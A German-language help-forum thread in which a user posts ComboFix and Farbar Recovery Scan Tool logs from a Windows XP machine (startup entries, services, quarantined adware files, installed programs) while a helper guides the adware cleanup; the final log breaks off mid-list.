[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Adobe Version Cue CS2]

2005-04-06 15:53        856064        ----a-w-        c:\programme\Adobe\Adobe Version Cue CS2\ControlPanel\VersionCueCS2Tray.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\APSDaemon]

2012-08-27 19:32        59280        ----a-w-        c:\programme\Gemeinsame Dateien\Apple\Apple Application Support\APSDaemon.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\DivXMediaServer]

2012-11-13 18:13        450560        ----a-w-        c:\programme\DivX\DivX Media Server\DivXMediaServer.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\DivXUpdate]

2012-11-30 02:06        1263512        ----a-w-        c:\programme\DivX\DivX Update\DivXUpdate.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\NBJ]

2005-10-11 18:25        1961984        ----a-w-        c:\programme\Ahead\Nero BackItUp\NBJ.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\SunJavaUpdateSched]

2014-12-17 21:12        508800        ----a-w-        c:\programme\Gemeinsame Dateien\Java\Java Update\jusched.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Telenorhjelpen]

2010-12-17 07:53        88440        ----a-w-        c:\programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\TnFtpServer]

2006-05-02 13:28        837120        ----a-w-        c:\dokumente und einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe

.

[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\services]

"nlsX86cc"=2 (0x2)

"iPod Service"=3 (0x3)

"RSVP"=3 (0x3)

"RemoteRegistry"=2 (0x2)

"LmHosts"=2 (0x2)

"lanmanserver"=2 (0x2)

"xmlprov"=3 (0x3)

"Apple Mobile Device"=2 (0x2)

"SSScsiSV"=3 (0x3)

"SonicStage Back-End Service"=3 (0x3)

"ShellHWDetection"=2 (0x2)

"ImapiService"=3 (0x3)

"gupdatem"=3 (0x3)

"gupdate"=2 (0x2)

"Browser"=2 (0x2)

"Adobe Version Cue CS2"=2 (0x2)

"wuauserv"=3 (0x3)

"MSCSPTISRV"=3 (0x3)

"APNMCP"=2 (0x2)

"WZCSVC"=2 (0x2)

"W32Time"=2 (0x2)

"TrkWks"=2 (0x2)

"TelenorhjelpenSvc"=2 (0x2)

"TapiSrv"=3 (0x3)

"MySQL56"=2 (0x2)

"LiveUpdateSvc"=2 (0x2)

"ESUSClient_TNO"=2 (0x2)

.

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]

"%windir%\\system32\\sessmgr.exe"=

"%windir%\\Network Diagnostic\\xpnetdiag.exe"=

"c:\\Program Files\\Real\\RealPlayer\\realplay.exe"=

"c:\\WINDOWS\\system32\\mshta.exe"=

"c:\\Programme\\Opera\\opera.exe"=

"c:\\Programme\\Gemeinsame Dateien\\Apple\\Apple Application Support\\WebKit2WebProcess.exe"=

"c:\\Programme\\A1\\A1 Webassistent\\A1Mailboxen.exe"=

"c:\\Programme\\Adobe\\Adobe Version Cue CS2\\bin\\VersionCueCS2.exe"=

"c:\\Programme\\A1\\A1 Webassistent\\A1Breitband.exe"=

"c:\\Programme\\Google\\Chrome\\Application\\chrome.exe"=

"c:\\Programme\\Telenor Norway\\Telenorhjelpen\\Telenorhjelpen.exe"=

"c:\\WINDOWS\\system32\\java.exe"=

"c:\\Programme\\Java\\jre7\\bin\\javaw.exe"=

"c:\\Dokumente und Einstellungen\\Julie\\Eigene Dateien\\SW Download\\WinXP tuning\\TnFtpSrv\\TnFtpSrv.exe"=

"c:\\Programme\\A1\\A1 Servicecenter\\A1Servicecenter.exe"=

"c:\\Programme\\A1\\A1 Webassistent\\A1Modemkonfigurator.exe"=

"c:\\Programme\\A1\\A1 Webassistent\\A1WLANAssistent.exe"=

"c:\\Programme\\A1\\A1 Breitband\\A1Breitband.exe"=

"c:\\Programme\\A1\\A1 Webassistent\\A1Webassistent.exe"=

.

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\GloballyOpenPorts\List]

"3306:TCP"= 3306:TCP:MySQL56

.

R2 IMFservice;IMF Service;c:\programme\IObit\IObit Malware Fighter\IMFsrv.exe [30.03.2014 19:00 344864]

R2 PaceLicenseDServices;PACE License Services;c:\programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe [25.03.2011 05:17 2784768]

R3 motubus;MOTU Audio MIDI Extension;c:\windows\system32\drivers\motubus.sys [03.04.2008 22:09 22024]

S3 fireface;Service for Fireface (WDM);c:\windows\system32\drivers\fireface.sys [23.10.2007 00:40 83968]

S3 iLokDrvr;Usb Driver;c:\windows\system32\drivers\iLokDrvr.sys [24.04.2011 01:55 21112]

S3 MotuMidi;MOTU MIDI Device;c:\windows\system32\drivers\MotuMidi.sys --> c:\windows\system32\drivers\MotuMidi.sys [?]

S3 MotuUsb;MotuUsb;c:\windows\system32\Drivers\MotuUsb.sys --> c:\windows\system32\Drivers\MotuUsb.sys [?]

S3 SynasUSB;eLicenser;c:\windows\system32\drivers\synasusb.sys [10.10.2007 12:18 23696]

S4 ESUSClient_TNO;Telenor Norway Software Update Service;c:\programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe [17.12.2010 12:02 358808]

S4 FileMonitor;FileMonitor;c:\programme\IObit\IObit Malware Fighter\Drivers\wxp_x86\FileMonitor.sys [20.01.2015 19:23 247968]

S4 LiveUpdateSvc;LiveUpdate;c:\programme\IObit\LiveUpdate\LiveUpdate.exe [20.01.2015 19:23 2909472]

S4 MySQL56;MySQL56;c:\programme\MySQL\MySQL Server 5.6\bin\mysqld.exe [05.05.2015 13:53 11048960]

S4 nlsX86cc;Nalpeiron Licensing Service;c:\windows\system32\nlssrv32.exe [11.03.2010 18:58 63488]

S4 TelenorhjelpenSvc;Telenorhjelpen Service;c:\programme\Telenor Norway\Telenorhjelpen\Service.exe [15.02.2011 17:31 463240]

.

--- Andere Dienste/Treiber im Speicher ---

.

*NewlyCreated* - WS2IFSL

.

[HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]

2016-04-11 21:03        1106072        ----a-w-        c:\programme\Google\Chrome\Application\49.0.2623.112\Installer\chrmstp.exe

.

Inhalt des "geplante Tasks" Ordners

.

2016-08-16 c:\windows\Tasks\Adobe Flash Player Updater.job

- c:\windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe [2012-05-15 13:25]

.

2016-08-16 c:\windows\Tasks\GoogleUpdateTaskMachineCore.job

- c:\programme\Google\Update\GoogleUpdate.exe [2013-07-20 17:35]

.

2016-08-16 c:\windows\Tasks\GoogleUpdateTaskMachineUA.job

- c:\programme\Google\Update\GoogleUpdate.exe [2013-07-20 17:35]

.

.

------- Zusätzlicher Suchlauf -------

.

uStart Page = hxxp://oe1.orf.at/

uSearchMigratedDefaultURL = hxxp://www.google.com/search?q={searchTerms}

uSearchURL,(Default) = hxxp://www.google.com/search?q=%s

IE: &Search

IE: Google Sidewiki... - c:\programme\Google\Google Toolbar\Component\GoogleToolbarDynamic_mui_en_60D6097707281E79.dll/cmsidewiki.html

TCP: DhcpNameServer = 10.0.0.138

FF - ProfilePath - c:\dokumente und einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\

FF - prefs.js: browser.search.defaulturl - hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=

FF - prefs.js: browser.startup.homepage - hxxp://at.search.yahoo.com/?type=800236&fr=spigot-yhp-ff

FF - prefs.js: browser.search.selectedEngine - Yahoo!

.

- - - - Entfernte verwaiste Registrierungseinträge - - - -

.

BHO-{d5b8015d-68af-4b2c-9412-e349d82ab4a2} - c:\programme\vmndtxtb\auxi\vmndtxAu.dll

BHO-{f379a94e-3c5d-4bad-b32c-0e3af1cc3617} - c:\programme\vmndtxtb\vmndtxDx.dll

Notify-AtiExtEvent - (no file)

SafeBoot-27193785.sys

SafeBoot-72453926.sys

MSConfigStartUp-iTunesHelper - c:\programme\iTunes\iTunesHelper.exe

AddRemove-vmndtxtb - c:\programme\vmndtxtb\uninstall.exe

.

.

.

**************************************************************************

.

catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, hxxp://www.gmer.net

Rootkit scan 2016-08-16 17:36

Windows 5.1.2600 Service Pack 3 NTFS

.

Scanne versteckte Prozesse... 

.

Scanne versteckte Autostarteinträge... 

.

Scanne versteckte Dateien... 

.

Scan erfolgreich abgeschlossen

versteckte Dateien: 0

.

**************************************************************************

.

[HKEY_LOCAL_MACHINE\System\ControlSet003\Services\Iomega Activity Disk2]

"ImagePath"="\"\""

.

--------------------- Gesperrte Registrierungsschluessel ---------------------

.

[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}]

@Denied: (A 2) (Everyone)

@="FlashBroker"

"LocalizedString"="@c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_22_0_0_210_ActiveX.exe,-101"

.

[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\Elevation]

"Enabled"=dword:00000001

.

[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\LocalServer32]

@="c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_22_0_0_210_ActiveX.exe"

.

[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\TypeLib]

@="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"

.

[HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}]

@Denied: (A 2) (Everyone)

@="IFlashBroker6"

.

[HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}\ProxyStubClsid32]

@="{00020424-0000-0000-C000-000000000046}"

.

[HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}\TypeLib]

@="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"

"Version"="1.0"

.

--------------------- Durch laufende Prozesse gestartete DLLs ---------------------

.

- - - - - - - > 'explorer.exe'(3704)

c:\programme\Logitech\MouseWare\System\LgWndHk.dll

c:\programme\Gemeinsame Dateien\Logitech\Scrolling\LgMsgHk.dll

c:\windows\system32\ieframe.dll

c:\windows\system32\webcheck.dll

c:\windows\system32\WPDShServiceObj.dll

c:\windows\system32\PortableDeviceTypes.dll

c:\windows\system32\PortableDeviceApi.dll

.

------------------------ Weitere laufende Prozesse ------------------------

.

c:\windows\system32\savedump.exe

c:\programme\Java\jre7\bin\jqs.exe

c:\programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe

c:\programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe

c:\windows\system32\wdfmgr.exe

c:\windows\system32\wscntfy.exe

c:\programme\Logitech\MouseWare\system\em_exec.exe

c:\windows\system32\msiexec.exe

c:\windows\system32\wbem\unsecapp.exe

.

**************************************************************************

.

Zeit der Fertigstellung: 2016-08-16  17:41:14 - PC wurde neu gestartet

ComboFix-quarantined-files.txt  2016-08-16 15:41

.

Vor Suchlauf: 19 Verzeichnis(se), 22.264.754.176 Bytes frei

Nach Suchlauf: 22 Verzeichnis(se), 22.285.225.984 Bytes frei

.

- - End Of File - - 262CBB823614B62AC23DF9B6AE3445A9

72B8CE41AF0DE751C946802B3ED844B4

und hier weiters logfile ComboFix-quarantined-files.txt:

Code:

2016-08-16 15:40:37 . 2016-08-16 15:40:37              924 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\AddRemove-vmndtxtb.reg.dat

2016-08-16 15:40:24 . 2016-08-16 15:40:24              604 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\MSConfigStartUp-iTunesHelper.reg.dat

2016-08-16 15:40:24 . 2016-08-16 15:40:24              558 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\SafeBoot-72453926.sys.reg.dat

2016-08-16 15:40:24 . 2016-08-16 15:40:24              558 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\SafeBoot-27193785.sys.reg.dat

2016-08-16 15:40:23 . 2016-08-16 15:40:23              276 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\Notify-AtiExtEvent.reg.dat

2016-08-16 15:40:17 . 2016-08-16 15:40:17              398 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\BHO-{f379a94e-3c5d-4bad-b32c-0e3af1cc3617}.reg.dat

2016-08-16 15:40:17 . 2016-08-16 15:40:17              416 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\BHO-{d5b8015d-68af-4b2c-9412-e349d82ab4a2}.reg.dat

2016-08-16 15:32:06 . 2016-08-16 15:32:06              892 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\Legacy_MYWEBSEARCHSERVICE.reg.dat

2016-08-16 15:31:52 . 2016-08-16 15:31:52            8,127 ----a-w-  C:\Qoobox\Quarantine\Registry_backups\tcpip.reg

2016-08-16 15:24:43 . 2016-08-16 15:24:43              512 ----a-w-  C:\Qoobox\Quarantine\MBR_HardDisk0.mbr

2016-08-16 15:19:29 . 2016-08-16 15:19:29               51 ----a-w-  C:\Qoobox\Quarantine\catchme.log

2016-08-03 12:49:28 . 2016-08-03 12:49:16          168,048 ----a-w-  C:\Qoobox\Quarantine\C\WINDOWS\Installer\{31AF7FE6-14C2-F33B-29AC-A36D095CDFA1}\syshost.exe.vir

2014-03-30 16:52:03 . 2014-02-10 09:12:28           22,298 ----a-w-  C:\Qoobox\Quarantine\C\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Slick Savings\coupons.crx.vir

2007-01-10 22:03:35 . 1998-11-17 10:44:44          328,704 ----a-w-  C:\Qoobox\Quarantine\C\WINDOWS\IsUn0407.exe.vir

Fragerin

16.08.2016 21:23

Zitat:

Anmerkung: bei WinXP kann ich Systemwiederherstellungspunkte über msconfig abrufen, das ist doch soetwas ähnliches wie die Wiederherstellungsconsole?

Nein, die Wiederherstellungskonsole ist für den Fall, wenn Windows XP gar nicht mehr startet. Dann hast du auch kein msconfig.

Schritt 1: frische FRST-Logs

Starte noch einmal FRST.
Setze einen Haken bei "Addition.txt" und klicke auf Untersuchen.
Die Logdateien werden nun erstellt und befinden sich danach auf deinem Desktop.
Poste mir die FRST.txt und die Addition.txt in deinem Thread.

jazzerin

17.08.2016 11:30

Vielen Dank für das Dranbleiben an meinem Problem!
Hier ist also FRST.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x86) Version: 03-08-2016

durchgeführt von Julie (2016-08-17 11:54:08)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Microsoft Windows XP Professional Service Pack 3 (X86) (2013-02-20 19:04:41)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-796845957-1960408961-682003330-500 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Administrator.HOME

ASPNET (S-1-5-21-796845957-1960408961-682003330-1004 - Limited - Enabled)

Gast (S-1-5-21-796845957-1960408961-682003330-501 - Limited - Enabled)

Hilfeassistent (S-1-5-21-796845957-1960408961-682003330-1000 - Limited - Disabled)

Julie (S-1-5-21-796845957-1960408961-682003330-1003 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Julie

SUPPORT_388945a0 (S-1-5-21-796845957-1960408961-682003330-1002 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

5500 (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500_Help (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Tour (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Trb (Version: 40.0.105.000 - Hewlett-Packard) Hidden

A1 Internet Software (HKLM\...\A1 Internet Software) (Version: 8.1.1.64 - A1 Telekom Austria AG)

A1 Internet Software (Version: 8.1.1.64 - A1 Telekom Austria AG) Hidden

A1 Servicecenter (HKLM\...\A1 Servicecenter) (Version: 1.1.0.12 - A1 Telekom Austria AG)

A1 Servicecenter (Version: 1.1.0.12 - A1 Telekom Austria AG) Hidden

A1 Webassistent (HKLM\...\A1 Webassistent) (Version: 4.2.0.168 - A1 Telekom Austria AG)

A1 Webassistent (Version: 4.2.0.168 - A1 Telekom Austria) Hidden

Active Disk (HKLM\...\Active Disk) (Version:  - )

Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.5.3.9130 - Adobe Systems Inc.)

Adobe Creative Suite 2 (HKLM\...\{0134A1A1-C283-4A47-91A1-92F19F960372}) (Version:  - )

Adobe Flash Player 22 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 22.0.0.210 - Adobe Systems Incorporated)

Adobe Flash Player 22 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 22.0.0.209 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 - Deutsch (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}) (Version: 8.1.2 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 Security Update 1 (KB403742) (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}_Adobe Reader 8.1.2 - Deutsch) (Version:  - )

Adobe Shockwave Player 12.1 (HKLM\...\Adobe Shockwave Player) (Version: 12.1.8.158 - Adobe Systems, Inc.)

Adobe SVG Viewer 3.0 (HKLM\...\Adobe SVG Viewer) (Version:  3.0 - Adobe Systems, Inc.)

AiO_Scan (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AIOMinimal (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AiOSoftware (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Apple Application Support (HKLM\...\{63EC2120-1742-4625-AA47-C6A8AEC9C64C}) (Version: 2.2.2 - Apple Inc.)

Apple Mobile Device Support (HKLM\...\{D4DDFAA1-EC37-4529-AD5B-A433ADE68662}) (Version: 6.0.0.59 - Apple Inc.)

ASAPI (HKLM\...\{8A7E941F-2BB4-47D0-B732-8AE5F3513B68}) (Version: 6.0.0 - Pinnacle Systems GmbH)

ATI - Dienstprogramm zur Deinstallation der Software (HKLM\...\All ATI Software) (Version: 6.14.10.1022 - )

aTube Catcher Version 3.8 (HKLM\...\{D43B360E-722D-421B-BC77-20B9E0F8B6CD}_is1) (Version: 3.8 - DsNET Corp)

AVS Video Converter 7 (HKLM\...\AVS4YOU Video Converter 7_is1) (Version:  - Online Media Technologies Ltd.)

CloneDVD2 (HKLM\...\CloneDVD2) (Version: 2.9.3.3 - Elaborate Bytes)

Copy (Version: 5.35.0.065 - Hewlett-Packard) Hidden

CreativeProjects (Version: 5.35.0.059 - Hewlett-Packard) Hidden

Director (Version: 5.35.0.051 - Hewlett-Packard) Hidden

DivX-Setup (HKLM\...\DivX Setup) (Version: 2.6.1.22 - DivX, LLC)

DocProc (Version: 3.5.0.0 - Hewlett-Packard) Hidden

eLicenser Control (HKLM\...\eLicenser Control) (Version:  - Steinberg Media Technologies GmbH)

Express Rip (HKLM\...\ExpressRip) (Version:  - NCH Swift Sound)

Fax (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Google Chrome (HKLM\...\Google Chrome) (Version: 49.0.2623.112 - Google Inc.)

Google Talk Plugin (HKLM\...\{2B0FC5A8-C3B6-33B7-9069-0D3BC69D2E50}) (Version: 3.11.7.10909 - Google)

Google Update Helper (Version: 1.3.25.11 - Google Inc.) Hidden

Google Update Helper (Version: 1.3.31.5 - Google Inc.) Hidden

Hotfix für Windows XP (KB2779562) (HKLM\...\KB2779562) (Version: 1 - Microsoft Corporation)

Hotfix für Windows XP (KB952287) (HKLM\...\KB952287) (Version: 1 - Microsoft Corporation)

HP CD Labeler II (HKLM\...\HP CD Labeler II) (Version:  - )

HP Image Zone 3.5 (HKLM\...\HP Photo & Imaging) (Version: 3.5 - HP)

HP PSC & OfficeJet 3.5 (HKLM\...\{0FABD3D7-3036-4e78-B29D-58957ADB0A12}) (Version: 3.5 - HP)

HP Software Update (HKLM\...\{34957B51-9676-41CE-9E52-44AE91B73F1C}) (Version: 1.0.22.20030804 - Hewlett-Packard)

HPSystemDiagnostics (Version: 1.5.0.0 - Your Company Name) Hidden

iDR System Manager V3.50 (HKLM\...\iDR System Manager V3.50) (Version:  - )

iLok Client Helper x32x64 (HKLM\...\InstallShield_{27F0B084-8305-4891-B9FD-4F2E3EDF98D4}) (Version: 5.8.9 - PACE Anti-Piracy)

iLok Client Helper x32x64 (Version: 5.8.9 - PACE Anti-Piracy) Hidden

Interlok driver setup x32 (HKLM\...\{25613C10-27D2-410B-942B-D922D5C3A7BE}) (Version: 5.8.9 - PACE Anti-Piracy)

IObit Malware Fighter 3 (HKLM\...\IObit Malware Fighter_is1) (Version: 3.0 - IObit)

IomegaWare 4.0.2 (HKLM\...\IomegaWare) (Version:  - )

Java 8 Update 31 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83218031F0}) (Version: 8.0.310 - Oracle Corporation)

Java DB 10.6.2.1 (HKLM\...\{73EC658D-A1C6-40CA-8E86-E05821BAACE7}) (Version: 10.6.2.1 - Oracle)

Java(TM) 7 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83217000FF}) (Version: 7.0.0 - Oracle)

Java(TM) SE Development Kit 6 Update 31 (HKLM\...\{32A3A4F4-B792-11D6-A78A-00B0D0160310}) (Version: 1.6.0.310 - Oracle)

JavaFX 2.1.0 (HKLM\...\{1111706F-666A-4037-7777-210328764D10}) (Version: 2.1.0 - Oracle Corporation)

License Support (HKLM\...\InstallShield_{3165EA9B-36CC-499B-96FF-36FC30E10EF4}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

License Support (Version: 1.00.0000 - PACE Anti-Piracy, Inc.) Hidden

LightScribe  1.4.89.1 (Version: 1.4.89.1 - hxxp://www.lightscribe.com) Hidden

Logitech MouseWare 9.78  (HKLM\...\{5809E7CF-4DCF-11D4-9875-00105ACE7734}) (Version:  - )

Macromedia Contribute 3.11 (HKLM\...\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}) (Version: 3.11.0.2419 - Macromedia, Inc.)

Macromedia Dreamweaver 8 (HKLM\...\{0837A661-FEC3-48B3-876C-91E7D32048A9}) (Version: 8.0.0.2734 - Macromedia)

Macromedia Extension Manager (HKLM\...\{5546CDB5-2CE2-498B-B059-5B3BF81FC41F}) (Version: 1.7.240 - Macromedia, Inc.)

Macromedia Fireworks 8 (HKLM\...\{4C24A8C1-7CFA-4650-AF15-732F5BD7B46D}) (Version: 8.0.0.777 - Macromedia)

Macromedia Flash 8 (HKLM\...\{2BD5C305-1B27-4D41-B690-7A61172D2FEB}) (Version: 8.00.0000 - Macromedia)

Macromedia Flash 8 Video Encoder (HKLM\...\{8BF2C401-02CE-424D-BC26-6C4F9FB446B6}) (Version: 1.00.0000 - Macromedia)

Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1  (1033)) (Version:  - )

Microsoft .NET Framework 1.1 German Language Pack (HKLM\...\{E78BFA60-5393-4C38-82AB-E8019E464EB4}) (Version: 1.1.4322 - Microsoft)

Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version:  - )

Microsoft .NET Framework 2.0 Service Pack 1 Language Pack - DEU (HKLM\...\{9309DD7E-EBFE-3C95-8B47-30D3A012F606}) (Version: 2.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 1 Language Pack - DEU (HKLM\...\{A1071AEB-B0EF-3F5F-BC84-83A270EBE496}) (Version: 3.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version:  - Microsoft Corporation)

Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft Automated Troubleshooting Services Shim (HKLM\...\{c9920352-04e6-469d-bab8-e2b9c7c75415}.sdb) (Version:  - )

Microsoft Office Excel Viewer 2003 (HKLM\...\{90840409-6000-11D3-8CFE-0150048383C9}) (Version: 11.0.6412.0 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 (HKLM\...\{6AFCA4E1-9B78-3640-8F72-A7BF33448200}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.51106 (HKLM\...\{8e70e4e1-06d7-470b-9f74-a51bef21088e}) (Version: 11.0.51106.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)

Microsoft Word 97 (HKLM\...\Word8.0) (Version:  - )

Movavi Video Converter 5.3 (HKLM\...\Movavi Video Converter 5.3) (Version: 5.3 - MOVAVI)

Mozilla Firefox 14.0.1 (x86 de) (HKLM\...\Mozilla Firefox 14.0.1 (x86 de)) (Version: 14.0.1 - Mozilla)

MSVC80_x86 (Version: 1.0.1.0 - Nokia) Hidden

MSVC80_x86_v2 (Version: 1.0.3.0 - Nokia) Hidden

MSVC90_x86 (Version: 1.0.1.2 - Nokia) Hidden

MSXML 4.0 SP2 (KB927978) (HKLM\...\{37477865-A3F1-4772-AD43-AAFC6BCFF99F}) (Version: 4.20.9841.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB936181) (HKLM\...\{C04E32E0-0416-434D-AFB9-6969D703A9EF}) (Version: 4.20.9848.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)

MSXML 4.0 SP2 Parser and SDK (HKLM\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)

MSXML 6 Service Pack 2 (KB954459) (HKLM\...\{1A528690-6A2D-4BC5-B143-8C4AE8D19D96}) (Version: 6.20.1099.0 - Microsoft Corporation)

MySQL Connector C++ 1.1.6 (HKLM\...\{3986AD3D-19E0-4FEF-BCBA-08D66BFC216E}) (Version: 1.1.6 - Oracle and/or its affiliates)

MySQL Connector J (HKLM\...\{5E91E205-AC15-4FA2-8A73-3CB5EC0E04A5}) (Version: 5.1.35 - Oracle Corporation)

MySQL Connector Net 6.9.6 (HKLM\...\{71458704-E552-4A3E-8BFA-4F61C1F70724}) (Version: 6.9.6 - Oracle)

MySQL Connector/C 6.1 (HKLM\...\{E05E5D1F-4842-47FD-AB62-57FD89801084}) (Version: 6.1.6 - Oracle Corporation)

MySQL Connector/ODBC 5.3 (HKLM\...\{4C6A664C-DCA0-4CC6-8752-ED0850E3135A}) (Version: 5.3.4 - Oracle Corporation)

MySQL Control Center (HKLM\...\{7EFDA3AC-8A61-43C0-B023-33866829C816}) (Version: 0.9.4 - MySQL AB)

MySQL Documents 5.6 (HKLM\...\{3B77CCCC-740C-4DAE-8ACB-119DB9EB3D79}) (Version: 5.6.25 - Oracle Corporation)

